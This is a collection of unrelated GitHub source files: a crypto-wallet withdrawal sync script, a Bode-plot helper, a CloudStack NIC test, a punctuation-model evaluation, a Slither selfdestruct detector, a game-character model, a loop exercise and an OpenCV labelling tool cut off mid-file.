withdraw_trx_info[\"source_status\"] == _ONE_S else self.withdraw_online_success\n                    # 通知\n                    do_withdraw_result = self.wallet_callback.withdraw_notify_callback(req_no, order_no, withdraw_result, withdraw_actual_amount, withdraw_actual_fee)\n                    # 更新提现状态\n                    foreign_withdraw_model.withdraw_actual_amount = withdraw_actual_amount\n                    foreign_withdraw_model.withdraw_actual_fee = withdraw_actual_fee\n                    foreign_withdraw_model.withdraw_status = self.withdraw_success\n                    foreign_withdraw_model.do_withdraw_result = do_withdraw_result\n                    # 修改冻结金额\n                    wallet_eos_model = session.query(WalletEosModel).filter(WalletEosModel.account_id == account_id).with_for_update().first()\n                    wallet_eos_gather_model = session.query(WalletEosGatherModel).filter(WalletEosGatherModel.sub_public_address == self.eos_gather_address).with_for_update().first()\n                    if wallet_eos_model:\n                        amount_frozen = withdraw_actual_amount + withdraw_actual_fee\n                        wallet_eos_model.amount_frozen -= amount_frozen\n                        wallet_eos_gather_model.amount_frozen -= amount_frozen\n                        wallet_eos_gather_model.amount += withdraw_actual_fee\n                    else:\n                        self.slog.error(\"withdraw not has WalletEosModel by ForeignWithdrawOrderRecordModel.account_id: \" + str(account_id))\n                else:\n                    self.slog.error(\"withdraw not has ForeignWithdrawOrderRecordModel by TxListeningEosModel.record_no: \" + str(withdraw_trx_info[\"record_no\"]))\n\n                # 更新提现记录表侦听状态\n                tx_listening_eos_model = session.query(TxListeningEosModel).filter(TxListeningEosModel.order_no == withdraw_trx_info[\"order_no\"]).first()\n                if tx_listening_eos_model:\n                    tx_listening_eos_model.block_no = withdraw_trx_info[\"block_num\"]\n                    tx_listening_eos_model.listen_flag = _ZERO\n                    tx_listening_eos_model.memo = withdraw_trx_info[\"memo\"]\n                else:\n                    self.slog.error(\"withdraw not has TxListeningEosModel by TxListeningEosModel.order_no: \" + str(withdraw_trx_info[\"order_no\"]))\n                session.commit()\n\n                # tx_list_eos_model_list.append(tmp_tx_list_eos_model)\n            # session.add_all(tx_list_eos_model_list)\n\n\nif __name__ == \"__main__\":\n    sbe = TokenSyncRechargeWithdrawScript()\n    res = sbe.work()\n    if res:\n        sbe.slog.info(\"eos recharge withdraw success!\")\n    else:\n        sbe.slog.info(\"eos recharge withdraw fail!\")\n","repo_name":"BigJeffWang/blockchain-py","sub_path":"TokenPark/scripts/token_sync_recharge_withdraw_script.py","file_name":"token_sync_recharge_withdraw_script.py","file_ext":"py","file_size_in_byte":15012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36031488183","text":"\"\"\"\nfile: __init__.py\n\nThis file contains the bode class for generating bode plots\n\"\"\"\n\n# Import modules\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\n\n# Configure xorg-less matplot\nmatplotlib.use('Agg')\n\n\nclass bode:\n    def __init__(self, freq, title=None, rads=False, dB=False, height=10,\n                 width=8):\n        \"\"\"\n        Initialize bode plot\n        \"\"\"\n\n        # Create sub plots\n        figure, axis = plt.subplots(2, 1)\n        figure.set_figheight(height)\n        figure.set_figwidth(width)\n        figure.suptitle(title)\n\n        # Get mag plot label\n        mag_label = \"Magnitude\"\n        if dB:\n            mag_label += \" [dB]\"\n\n        # Get phase plot label\n        phase_label = \"Phase\"\n        if rads:\n            phase_label += \" [Rad]\"\n        else:\n            phase_label += \" [Deg]\"\n\n        # Get freq label\n        freq_label = \"Frequency [Hz]\"\n\n        # Style mag plot\n        axis[0].set_title(\"Magnitude\")\n        axis[0].set_xlabel(freq_label)\n        axis[0].set_ylabel(mag_label)\n        axis[0].set_xlim(freq)\n        axis[0].grid(True, which='major', linewidth=0.5, ls='-', alpha=0.5)\n        axis[0].grid(True, which='minor', linewidth=0.5, ls='-', alpha=0.2)\n\n        # Set scale based on unit\n        if dB:\n            axis[0].semilogx()\n        else:\n            axis[0].loglog()\n\n        # Style phase plot\n        axis[1].set_title(\"Phase\")\n        axis[1].set_xlabel(freq_label)\n        axis[1].set_ylabel(phase_label)\n        axis[1].set_xlim(freq)\n        axis[1].semilogx()\n        axis[1].grid(True, which='major', linewidth=0.5, ls='-', alpha=0.5)\n        axis[1].grid(True, which='minor', linewidth=0.5, ls='-', alpha=0.2)\n\n        # Set phase bounds based on unit\n        if rads:\n            axis[1].set_ylim(-np.pi - 0.2, np.pi + 0.2)\n            axis[1].set_yticks([-np.pi, -np.pi/2, 0, np.pi/2, np.pi])\n        else:\n            axis[1].set_ylim(-190, 190)\n            axis[1].set_yticks([-180, -90, 0, 90, 180])\n\n        # Makes axis, mag, and phase accessible\n        self.axis = axis\n        self.rads = rads\n        self.dB = dB\n\n    def plot(self, freq, fr, label=None):\n        \"\"\"\n        Plot a frequency response.\n        \"\"\"\n\n        # Get phase in degrees or radians\n        phase = np.angle(fr)\n        if not self.rads:\n            phase *= 180/np.pi\n\n        # Get mag in log or decibels\n        mag = np.abs(fr)\n        if self.dB:\n            mag = 20 * np.log10(mag)\n\n        # Plot phase and mag\n        self.axis[0].plot(freq, mag, label=label)\n        self.axis[1].plot(freq, phase, label=label)\n\n    def save(self, path):\n        \"\"\"\n        Save the plot to a given path\n        \"\"\"\n\n        # Create legends\n        self.axis[0].legend()\n        self.axis[1].legend()\n\n        # Save plot\n        plt.savefig(path)\n","repo_name":"SamScherf/bodeplot","sub_path":"bodeplot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42035202177","text":"\"\"\" NIC tests for VM \"\"\"\nimport signal\nimport sys\nimport time\nfrom marvin.cloudstackTestCase import cloudstackTestCase\nfrom marvin.codes import PASS\nfrom marvin.lib.base import (Account,\n                             ServiceOffering,\n                             Network,\n                             VirtualMachine,\n                             NetworkOffering)\nfrom marvin.lib.common import (get_zone,\n                               get_template,\n                               get_domain)\nfrom marvin.lib.utils import validateList\nfrom nose.plugins.attrib import attr\n\n\nclass TestNic(cloudstackTestCase):\n    def setUp(self):\n        self.cleanup = []\n\n        def signal_handler(signal, frame):\n            self.tearDown()\n            sys.exit(0)\n\n        # assign the signal handler immediately\n        signal.signal(signal.SIGINT, signal_handler)\n\n        self.hypervisor = self.testClient.getHypervisorInfo()\n\n        try:\n            self.apiclient = self.testClient.getApiClient()\n            self.dbclient = self.testClient.getDbConnection()\n            self.services = self.testClient.getParsedTestDataConfig()\n\n            # Get Zone, Domain and templates\n            domain = get_domain(self.apiclient)\n            self.zone = get_zone(\n                self.apiclient,\n                self.testClient.getZoneForTests()\n            )\n\n            # if local storage is enabled, alter the offerings to use\n            # localstorage\n            if self.zone.localstorageenabled:\n                self.services[\"service_offerings\"][\n                    \"tiny\"][\"storagetype\"] = 'local'\n\n            template = get_template(\n                self.apiclient,\n                self.zone.id,\n                self.services[\"ostype\"]\n            )\n            # Set Zones and disk offerings\n            self.services[\"small\"][\"zoneid\"] = self.zone.id\n            self.services[\"small\"][\"template\"] = template.id\n\n            self.services[\"iso1\"][\"zoneid\"] = self.zone.id\n            self.services[\"network\"][\"zoneid\"] = self.zone.id\n\n            # Create Account, VMs, NAT Rules etc\n            self.account = Account.create(\n                self.apiclient,\n                self.services[\"account\"],\n                domainid=domain.id\n            )\n            self.cleanup.insert(0, self.account)\n\n            self.service_offering = ServiceOffering.create(\n                self.apiclient,\n                self.services[\"service_offerings\"][\"tiny\"]\n            )\n            self.cleanup.insert(0, self.service_offering)\n\n            ####################\n            # Network offering\n            self.network_offering = NetworkOffering.create(\n                self.apiclient,\n                self.services[\"network_offering\"],\n            )\n            self.cleanup.insert(0, self.network_offering)\n            self.network_offering.update(\n                self.apiclient,\n                state='Enabled')  # Enable Network offering\n            self.services[\"network\"][\n                \"networkoffering\"] = self.network_offering.id\n\n            self.network_offering_shared = NetworkOffering.create(\n                self.apiclient,\n                self.services[\"network_offering_shared\"],\n            )\n            self.cleanup.insert(0, self.network_offering_shared)\n            self.network_offering_shared.update(\n                self.apiclient,\n                state='Enabled')  # Enable Network offering\n            self.services[\"network2\"][\n                \"networkoffering\"] = self.network_offering_shared.id\n\n            ################\n            # Test Network\n            self.test_network = Network.create(\n                self.apiclient,\n                self.services[\"network\"],\n                self.account.name,\n                self.account.domainid,\n            )\n            self.cleanup.insert(0, self.test_network)\n            self.test_network2 = Network.create(\n                self.apiclient,\n                self.services[\"network2\"],\n                self.account.name,\n                self.account.domainid,\n                zoneid=self.services[\"network\"][\"zoneid\"]\n            )\n            self.cleanup.insert(0, self.test_network2)\n        except Exception as ex:\n            self.debug(\"Exception during NIC test SETUP!: \" + str(ex))\n\n    @attr(\n        tags=[\n            \"smoke\",\n            \"advanced\",\n            \"advancedns\"],\n        required_hardware=\"true\")\n    def test_01_nic(self):\n        # TODO: SIMENH: add validation\n        \"\"\"Test to add and update added nic to a virtual machine\"\"\"\n\n        hypervisorIsVmware = False\n        isVmwareToolInstalled = False\n        if self.hypervisor.lower() == \"vmware\":\n            hypervisorIsVmware = True\n\n        self.virtual_machine = VirtualMachine.create(\n            self.apiclient,\n            self.services[\"small\"],\n            accountid=self.account.name,\n            domainid=self.account.domainid,\n            serviceofferingid=self.service_offering.id,\n            networkids=[self.test_network.id],\n            mode=self.zone.networktype if hypervisorIsVmware else \"default\"\n        )\n\n        self.cleanup.insert(0, self.virtual_machine)\n        vms = VirtualMachine.list(\n            self.apiclient,\n            id=self.virtual_machine.id\n        )\n\n        self.assertEqual(\n            validateList(vms)[0],\n            PASS,\n            \"vms list validation failed\")\n\n        vm_response = vms[0]\n\n        self.assertEqual(\n            len(vm_response.nic),\n            1,\n            \"Verify we only start with one nic\"\n        )\n\n        self.assertEqual(\n            vm_response.nic[0].isdefault,\n            True,\n            \"Verify initial adapter is set to default\"\n        )\n        existing_nic_ip = vm_response.nic[0].ipaddress\n        existing_nic_id = vm_response.nic[0].id\n\n        self.virtual_machine.add_nic(\n            self.apiclient,\n            self.test_network2.id)\n        list_vm_response = VirtualMachine.list(\n            self.apiclient,\n            id=self.virtual_machine.id\n        )\n\n        self.assertEqual(\n            len(list_vm_response[0].nic),\n            2,\n            \"Verify we have 2 NIC's now\"\n        )\n\n        # If hypervisor is Vmware, then check if\n        # the vmware tools are installed and the process is running\n        # Vmware tools are necessary for remove nic operations (vmware 5.5+)\n        if hypervisorIsVmware:\n            sshClient = self.virtual_machine.get_ssh_client()\n            result = str(\n                sshClient.execute(\"service vmware-tools status\")).lower()\n            self.debug(\"and result is: %s\" % result)\n            if \"running\" in result:\n                isVmwareToolInstalled = True\n\n        goForUnplugOperation = True\n        # If Vmware tools are not installed in case of vmware hypervisor\n        # then don't go further for unplug operation (remove nic) as it won't\n        # be supported\n        if hypervisorIsVmware and not isVmwareToolInstalled:\n            goForUnplugOperation = False\n\n        if goForUnplugOperation:\n            new_nic_id = \"\"\n            for nc in list_vm_response[0].nic:\n                if nc.ipaddress != existing_nic_ip:\n                    new_nic_id = nc.id\n\n            self.virtual_machine.update_default_nic(self.apiclient, new_nic_id)\n\n            time.sleep(5)\n\n            list_vm_response = VirtualMachine.list(\n                self.apiclient,\n                id=self.virtual_machine.id\n            )\n\n            # iterate as we don't know for sure what order our NIC's will be\n            # returned to us.\n            for nc in list_vm_response[0].nic:\n                if nc.ipaddress == existing_nic_ip:\n                    self.assertEqual(\n                        nc.isdefault,\n                        False,\n                        \"Verify initial adapter is NOT set to default\"\n                    )\n                else:\n                    self.assertEqual(\n                        nc.isdefault,\n                        True,\n                        \"Verify second adapter is set to default\"\n                    )\n\n            with self.assertRaises(Exception):\n                self.virtual_machine.remove_nic(self.apiclient, new_nic_id)\n\n            self.virtual_machine.update_default_nic(\n                self.apiclient,\n                existing_nic_id)\n            time.sleep(5)\n            self.virtual_machine.remove_nic(self.apiclient, new_nic_id)\n            time.sleep(5)\n\n            list_vm_response = VirtualMachine.list(\n                self.apiclient,\n                id=self.virtual_machine.id\n            )\n\n            self.assertEqual(\n                len(list_vm_response[0].nic),\n                1,\n                \"Verify we are back to a signle NIC\"\n            )\n\n        return\n\n    def tearDown(self):\n        try:\n            for obj in self.cleanup:\n                try:\n                    obj.delete(self.apiclient)\n                    time.sleep(10)\n                except Exception as ex:\n                    self.debug(\n                        \"Error deleting: \" +\n                        str(obj) +\n                        \", exception: \" +\n                        str(ex))\n        except Exception as e:\n            self.debug(\"Warning! Exception in tearDown: %s\" % e)\n","repo_name":"gskirchner/MissionCriticalCloud-cosmic","sub_path":"cosmic-core/test/integration/smoke/test_nic.py","file_name":"test_nic.py","file_ext":"py","file_size_in_byte":9257,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"22440688112","text":"from dataclasses import dataclass\n\nimport numpy as np\nfrom sklearn import linear_model\nfrom sklearn.metrics import f1_score\nfrom transformers import AutoModelForTokenClassification, HfArgumentParser\n\nimport wtpsplit.models  # noqa\nfrom wtpsplit.extract import extract\nfrom wtpsplit.utils import Constants\n\n\n@dataclass\nclass Args:\n    model_path: str\n    lang: str\n    block_size: int = 512\n    stride: int = 64\n    batch_size: int = 32\n    n_subsample: int = None\n    device: str = \"cuda\"\n\n\ndef load_iwslt(path, fix_space=True):\n    char_labels = []\n\n    label_dict = {\n        \"O\": 0,\n        \"QUESTION\": 1,\n        \"PERIOD\": 2,\n        \"COMMA\": 3,\n    }\n\n    text = \"\"\n\n    for i, row in enumerate(open(path)):\n        token, label = row.rstrip().split(\"\\t\")\n\n        if not fix_space or (i > 0 and token not in {\"'m\", \"n't\", \"'ll\", \"'s\"}):\n            text += \" \"\n            char_labels.append(0)\n\n        text += token\n        char_labels.extend([0] * len(token))\n        char_labels[-1] = label_dict[label]\n\n    return text, np.array(char_labels)\n\n\nif __name__ == \"__main__\":\n    (args,) = HfArgumentParser([Args]).parse_args_into_dataclasses()\n\n    if args.lang == \"en\":\n        train_text, train_char_labels = load_iwslt(\n            Constants.ROOT_DIR / \"data\" / \"external\" / \"punctuation_annotation\" / \"en\" / \"train2012\",\n        )\n        test_text, test_char_labels = load_iwslt(\n            Constants.ROOT_DIR / \"data\" / \"external\" / \"punctuation_annotation\" / \"en\" / \"test2011\",\n        )\n    else:\n        train_text, train_char_labels = load_iwslt(\n            Constants.ROOT_DIR / \"data\" / \"external\" / \"punctuation_annotation\" / \"bn\" / \"train\",\n        )\n        test_text, test_char_labels = load_iwslt(\n            Constants.ROOT_DIR / \"data\" / \"external\" / \"punctuation_annotation\" / \"bn\" / \"test_ref\",\n        )\n\n    model = AutoModelForTokenClassification.from_pretrained(args.model_path).to(args.device)\n\n    if args.n_subsample is None:\n        args.n_subsample = len(train_text)\n\n    train_logits = extract(\n        [train_text[: args.n_subsample]],\n        model,\n        lang_code=args.lang,\n        stride=args.stride,\n        block_size=args.block_size,\n        batch_size=args.batch_size,\n        use_hidden_states=False,\n        pad_last_batch=False,\n    )[0].numpy()\n\n    clf = linear_model.LogisticRegression(penalty=\"none\", multi_class=\"multinomial\", max_iter=10_000)\n    clf.fit(train_logits, train_char_labels[: args.n_subsample])\n\n    test_logits = extract(\n        [test_text],\n        model,\n        lang_code=args.lang,\n        stride=args.stride,\n        block_size=args.block_size,\n        batch_size=args.batch_size,\n        use_hidden_states=False,\n        pad_last_batch=False,\n    )[0].numpy()\n\n    test_preds = clf.predict(test_logits)\n\n    question, period, comma = (\n        f1_score(test_char_labels == 1, test_preds == 1),\n        f1_score(test_char_labels == 2, test_preds == 2),\n        f1_score(test_char_labels == 3, test_preds == 3),\n    )\n    avg = np.mean([question, period, comma])\n    print(question, period, comma, avg)\n","repo_name":"bminixhofer/wtpsplit","sub_path":"wtpsplit/evaluation/punct_annotation_wtp.py","file_name":"punct_annotation_wtp.py","file_ext":"py","file_size_in_byte":3082,"program_lang":"python","lang":"en","doc_type":"code","stars":420,"dataset":"github-code","pt":"3"}
+{"seq_id":"23625614369","text":"\"\"\"\nModule detecting suicidal contract\n\nA suicidal contract is an unprotected function that calls selfdestruct\n\"\"\"\n\nfrom slither.detectors.abstract_detector import AbstractDetector, DetectorClassification\n\nclass Suicidal(AbstractDetector):\n    \"\"\"\n    Unprotected function detector\n    \"\"\"\n\n    ARGUMENT = 'suicidal'\n    HELP = 'Functions allowing anyone to destruct the contract'\n    IMPACT = DetectorClassification.HIGH\n    CONFIDENCE = DetectorClassification.HIGH\n\n    WIKI = 'https://github.com/trailofbits/slither/wiki/Vulnerabilities-Description#suicidal'\n\n    @staticmethod\n    def detect_suicidal_func(func):\n        \"\"\" Detect if the function is suicidal\n\n        Detect the public functions calling suicide/selfdestruct without protection\n        Returns:\n            (bool): True if the function is suicidal\n        \"\"\"\n\n        if func.is_constructor:\n            return False\n\n        if func.visibility != 'public':\n            return False\n\n        calls = [c.name for c in func.internal_calls]\n        if not ('suicide(address)' in calls or 'selfdestruct(address)' in calls):\n            return False\n\n        if func.is_protected():\n            return False\n\n        return True\n\n    def detect_suicidal(self, contract):\n        ret = []\n        for f in [f for f in contract.functions if f.contract == contract]:\n            if self.detect_suicidal_func(f):\n                ret.append(f)\n        return ret\n\n    def detect(self):\n        \"\"\" Detect the suicidal functions\n        \"\"\"\n        results = []\n        for c in self.contracts:\n            functions = self.detect_suicidal(c)\n            for func in functions:\n\n                txt = \"\\tSuicidal in {}.{} ({}) allows anyone to destruct the contract\\n\"\n                info = txt.format(func.contract.name,\n                                  func.name,\n                                  func.source_mapping_str)\n\n                self.log(info)\n\n                json = self.generate_json_result(info)\n                self.add_function_to_json(func, json)\n                results.append(json)\n\n        return results\n","repo_name":"ToolmanInside/slither_im","sub_path":"slither/detectors/functions/suicidal.py","file_name":"suicidal.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15625376672","text":"from typing import Any, List, Optional\n\nfrom pydantic import BaseModel\n\n\nclass Caracteristique(BaseModel) : \n    \"\"\"\n    Cette classe fait l'inventaire des caractéristiques des entités.\n    \"\"\"\n    nom_entite: str \n    attaques: List[str] = [\"Intimidation\", \"Coup de poing\"]\n    capacites: List[str] = [\"Voir dans le noir\", \"Double saut\"]\n    languages: Any = [\"Elvish\", \"Draconic\", \"Celestial\"]\n    description: Optional[str] = ''\n    niveau: int = 1\n    experience: int = 20\n    force: int = 20\n    intelligence: int = 20\n    charisme: int = 20\n    dexterite: int = 20 \n    constitution: int = 5\n    sagesse: int = 20 \n    vie: int = 50\n    classe_armure: int = 5\n    \n    def __init__(self,nom_entite: str, \n        attaques: List[str] = [\"Intimidation\", \"Coup de poing\"],\n        capacites: List[str] = [\"Voir dans le noir\", \"Double saut\"],\n        languages: Any = [\"Elvish\", \"Draconic\", \"Celestial\"],\n        description: Optional[str] = '',\n        niveau: int = 1,\n        experience: int = 20,\n        force: int = 20,\n        intelligence: int = 20,\n        charisme: int = 20,\n        dexterite: int = 20,\n        constitution: int = 5,\n        sagesse: int = 20,\n        vie: int = 50,\n        classe_armure: int = 5):\n        super().__init__(nom_entite = nom_entite,\n            classe_armure = classe_armure,\n            force = force,\n            dexterite = dexterite,\n            constitution = constitution,\n            intelligence = intelligence,\n            charisme = charisme,\n            languages = languages,\n            niveau = niveau,\n            experience = experience,\n            attaques = attaques,\n            capacites = capacites,\n            description = description,\n            sagesse = sagesse,\n            vie = vie )\n    \n    class Config:\n        underscore_attrs_are_private = True\n        schema_extra = { \n            \"example\": {\n                \"nom_entite\":\"Nom\", \n                \"attaques\":\"Attaques\", \n                \"capacites\":\"Capacité\", \n                \"languages\":\"langages\",\n                \"description\":\"des\", \n                } \n            } \n        \n    def str(self):\n        \"\"\"\n        permet un affichage des caractéristiques\n        \"\"\"\n        modele = '\\n'.join([\n            '            Nom : {} \\n            Niveau : {} \\n            Expérience: {} \\n            Force : {} \\n            Dextérité : {} \\n            Constitution : {} \\n            Intelligence : {} \\n            Sagesse : {} \\n            Charisme : {} \\n            Capacités : {} \\n            Vie : {} \\n            Attaques : {} \\n            Langages : {} \\n            Description : {} \\n            Classe Armure : {}'])\n        return modele.format(\n            self.nom_entite,\n            self.niveau,\n            self.experience,\n            self.force,\n            self.dexterite, \n            self.constitution,\n            self.intelligence,\n            self.sagesse,\n            self.charisme,\n            self.capacites,\n            self.vie,\n            self.attaques,\n            self.languages,\n            self.description,\n            self.classe_armure)\n    \n    ","repo_name":"Dragons-Unfurled-Inc/Dragons-Unfurled","sub_path":"objets_metier/caracteristique.py","file_name":"caracteristique.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"24269299008","text":"# First Solution...\nn = 0\nwhile n <= 0:\n    n = int(input(\"Enter the number of line: \"))\n\nfor i in range(1, n+1):\n    print(\" \" * (n-i), end=\"\")\n    print(\"*\" * i, end=\"\")\n    print()\n\n\n# second Solution...\nprint(\"#\" * 50)\n\nn = 0\nwhile n <= 0:\n    n = int(input(\"Enter the number of line: \"))\n\nfor i in range(1, n+1):\n    for j in range(1, n-i+1):\n        print(\" \", end=\"\")\n    for j in range(1, i+1):\n        print(\"*\", end=\"\")\n    print()\n\n# Third Solution...\nprint(\"#\" * 50)\n\nn = 0\nwhile n <= 0:\n    n = int(input(\"Enter the number of line: \"))\ni = 1\n\nwhile i <= n:\n    j = 1\n    while j <= n - i:\n        print(\" \", end=\"\")\n        j += 1\n    k = 1\n    while k <= i:\n        print(\"*\", end=\"\")\n        k += 1\n    i += 1\n    print()\n","repo_name":"Mostafa-Naguib/Python","sub_path":"Problem_Solving/Drawing_Geometric_Shapes/1-Challange/(2).py","file_name":"(2).py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18328256393","text":"import numpy as np\nimport pandas as pd\nimport cv2\n\nimport os.path\n\nDATASET_DIR = 'training'\nDATA_KEY_PATH = 'training/data_key.csv'\nLABELS_PATH = 'mouth_shape_categories.txt'\n\nDATASET_IGNORE = ['training/ignore', DATA_KEY_PATH, LABELS_PATH]\n\nWINDOW_DIMS = (1280, 720)\nMENU_WIDTH = 300\n\nclass FinishEarlyException(Exception): # [10]\n    pass\n\n# MAIN\n#\n# Summary:\n#   Controls main program flow\n#\ndef main() -> None:\n    # Open Existing or Create New Dataframe\n    if os.path.exists(DATA_KEY_PATH): # [1]\n        df = pd.read_csv(DATA_KEY_PATH, index_col=0) # [2]\n    else:\n        df = pd.DataFrame()\n\n    # Get Column Names\n    labels = []\n    with open(LABELS_PATH) as f:\n        labels = [x.strip() for x in f]\n\n    # Get a List of Dataset Files\n    ds_files = get_files()\n\n    # Allow user to go through and label each image\n    df = fill_data(df, labels, ds_files)\n    \n    # Save progress to DATA_KEY_PATH\n    df.to_csv(DATA_KEY_PATH) # [11]\n    print(df)\n\n# GET FILES\n#\n# Summary:\n#   Gets all files in the DATASET_DIR and it's subfolders,\n#   ignoring DATASET_IGNORE\n#\n# Returns:\n#   List of files (relative paths stored as strings)\n#\ndef get_files() -> list[str]:\n    # Get the normalized relative paths for everything in DATASET_IGNORE\n    ds_ignore_full = [os.path.normpath(os.path.join('.', x)) for x in DATASET_IGNORE] # [3]\n\n    # Walk through file path and store files in a list\n    ds_files = []\n    for root, dirs, files in os.walk(DATASET_DIR, topdown=True):\n        # Don't enter ignored sub-directories\n        dirs[:] = [d for d in dirs if os.path.join(root, d) not in ds_ignore_full] # [4]\n\n        # Add files to list, ignoring DATASET_IGNORE files\n        ds_files += [os.path.join(root, f) for f in files if os.path.join(root, f) not in ds_ignore_full]\n\n    # Return the files list\n    return ds_files\n\n\n# FILL DATA\n#\n# Summary:\n#   Prompts user to fill in data\n#\n# Params:\n#   df - The dataframe that stores the information\n#   labels - The label names of every column in the dataset\n#   files - List of files that the user is filling out info for\n#\n# Returns:\n#   Updated DataFrame\n#\ndef fill_data(df: pd.DataFrame, labels: list[str], files: list[str]) -> pd.DataFrame:\n    # Create columns if they haven't been already\n    for label in [\"filename\"] + labels:\n        if label not in df:\n            df[label] = np.nan # [5]\n\n    # Get information for each unvisited file\n    for file in files:\n        if any(df[\"filename\"] == file):\n            continue\n\n        try:\n            processed = process_file(file, labels)\n            processed[\"filename\"] = file\n            df_processed = pd.DataFrame([processed])\n            df_processed.set_index(pd.Index([file]))\n            df = pd.concat([df, df_processed]) # [9]\n        except FinishEarlyException:\n            break;\n    \n    return df\n\n\n# PROCESS FILE\n#\n# Summary:\n#   Display image to the user and have the user select what\n#   category/categories that the image belongs to\n#\n# Params:\n#   file - Location of image file\n#   labels - The categories that the user will be deciding between\n#\n# Returns:\n#   The relative amount (percentage) that a label matches the image\n#\ndef process_file(file: str, labels: list[str]) -> dict[str, float]:\n\n    # Mouse Input Variables\n    mouse_x, mouse_y = -1, -1\n    click_pos_x, click_pos_y = -1, -1\n    l_click = False\n    r_click = False\n\n    # Handle Mouse Input\n    def mouse_callback(event, x, y, flag, param):\n\n        # We need access to variables\n        nonlocal mouse_x, mouse_y\n        nonlocal l_click, r_click\n        nonlocal click_pos_x, click_pos_y\n\n        # Left Mouse Down\n        if event == cv2.EVENT_LBUTTONDOWN:\n            l_click = True\n            click_pos_x, click_pos_y = x, y\n\n        # Left Mouse Up\n        if event == cv2.EVENT_LBUTTONUP:\n            l_click = False\n            click_pos_x, click_pos_y = -1, -1\n\n        # Right Mouse Down\n        if event == cv2.EVENT_RBUTTONDOWN:\n            r_click = True\n            click_pos_x, click_pos_y = x, y\n\n        # Right Mouse Up\n        if event == cv2.EVENT_RBUTTONUP:\n            r_click = False\n            click_pos_x, click_pos_y = -1, -1\n\n        # Get current mouse pos regardless of clicks\n        mouse_x, mouse_y = x, y\n\n    # Return Value\n    values = {k:0.0 for k in labels}\n\n    # I don't like that this is hard coded, but we're running behind on time\n    if \"Bottom Lip Horizontal Offset\" in values:\n        values[\"Bottom Lip Horizontal Offset\"] = 0.5\n\n    # Other Variables\n    window_name = 'img'\n    frame = np.zeros((*(WINDOW_DIMS[::-1]), 3), dtype=np.uint8)\n    clicking_id = None\n    start_val = -1\n\n    img_shape = (int(WINDOW_DIMS[0] * 0.75), WINDOW_DIMS[1])\n    menu_shape = (WINDOW_DIMS[0] - img_shape[0], WINDOW_DIMS[1])\n\n    # Create the initial frame to display to user\n    # (It has an image and a menu)\n    frame[:img_shape[1],:img_shape[0]] = fit_image(file, img_shape)\n    frame[:menu_shape[1],img_shape[0]:], boxes = create_menu(values, menu_shape, (img_shape[0], 0))\n\n    # Define window behavior (Make it handle mouse input correctly)\n    cv2.namedWindow(window_name, cv2.WINDOW_GUI_NORMAL|cv2.WINDOW_AUTOSIZE) # [7]\n    cv2.setMouseCallback(window_name, mouse_callback)\n\n    # Display Loop\n    while cv2.getWindowProperty(window_name, cv2.WND_PROP_VISIBLE) >= 1: # [6]\n\n        # Show Current Frame\n        cv2.imshow(window_name, frame)\n\n        # Exit if needed\n        key_code = cv2.waitKey(16)\n        if (key_code & 0xFF) == ord('q') or (key_code & 0xFF) == 27:\n            cv2.destroyAllWindows()\n            raise FinishEarlyException\n\n        # Return information if needed\n        if (key_code & 0xFF) == 13: # Enter\n            return values\n\n        # Handle Input\n        if (r_click or l_click) and (clicking_id is None):\n            for k in values:\n                if has_collided((click_pos_x - img_shape[0], click_pos_y), boxes[k]):\n                    clicking_id = k\n                    start_val = values[k]\n        if not (r_click or l_click):\n            clicking_id = None\n            start_val = -1\n\n        if l_click and r_click:\n            if (clicking_id is not None):\n                values[clicking_id] = start_val\n            clicking_id = None\n            start_val = -1\n            l_click = False\n            r_click = False\n            click_pos_x, click_pos_x = -1, -1\n\n        elif (clicking_id is not None) and l_click:\n            values[clicking_id] = 1 if values[clicking_id] == 0 else 0\n            l_click = False\n\n        elif (clicking_id is not None) and r_click:\n            values[clicking_id] = get_normalized_x(mouse_x - img_shape[0], boxes[k])\n\n        # Update Frame\n        frame[:menu_shape[1],img_shape[0]:] = update_menu(values, menu_shape, boxes)\n\n    raise FinishEarlyException\n\n\ndef has_collided(point, box):\n    return (point[0] >= box[0]) and (point[0] <= box[2]) and (point[1] >= box[1]) and (point[1] <= box[3])\n\n\ndef get_normalized_x(point_x, box):\n    x = (point_x - box[0]) / (box[2] - box[0])\n    if x > 1:\n        x = 1\n    if x < 0:\n        x = 0\n    return x\n\n# FIT IMAGE\n#\n# Summary:\n#   Resizes image to fit within a bounding box, centering and maintaining\n#   image aspect ratio.\n#\n# Params:\n#   file - Location of image file\n#   shape - A tuple containing the width and height (in that order) of\n#           the bounding box.\n#\n# Returns:\n#   The resized image padded with black to fill the bounding box\n#\ndef fit_image(img_file: str, shape: tuple[int, int]) -> np.ndarray:\n\n    # Read in the image file\n    img = cv2.imread(img_file, cv2.IMREAD_COLOR)\n\n    # Get image width and height\n    img_h, img_w, _ = img.shape\n\n    # Get bounding box width and height\n    bound_w, bound_h = shape\n\n    # Compute aspect ratios\n    img_aspect = img_w / img_h\n    bound_aspect = bound_w / bound_h\n\n    # Scale the output to maintain aspect ratios\n    if img_aspect < bound_aspect:\n        resize_shape = (img_w * bound_h // img_h, bound_h)\n    else:\n        resize_shape = (bound_w, img_h * bound_w // img_w)\n\n    # Center image by calculating top left corner position\n    x = (shape[0] - resize_shape[0]) // 2\n    y = (shape[1] - resize_shape[1]) // 2\n\n    # Create a black image of the correct size\n    new_img = np.zeros((*(shape[::-1]), 3), dtype=np.uint8)\n\n    # Scale and translate the original image and place it over the black image\n    new_img[y:y+resize_shape[1], x:x+resize_shape[0]] = cv2.resize(img, resize_shape)\n\n    return new_img\n\n\n# CREATE MENU\n#\n# Summary:\n#   Generates the initial frame for the menu GUI\n#\n# Params:\n#   values - A dictionary whose keys are mouth shapes and whose values\n#           are based on user input\n#   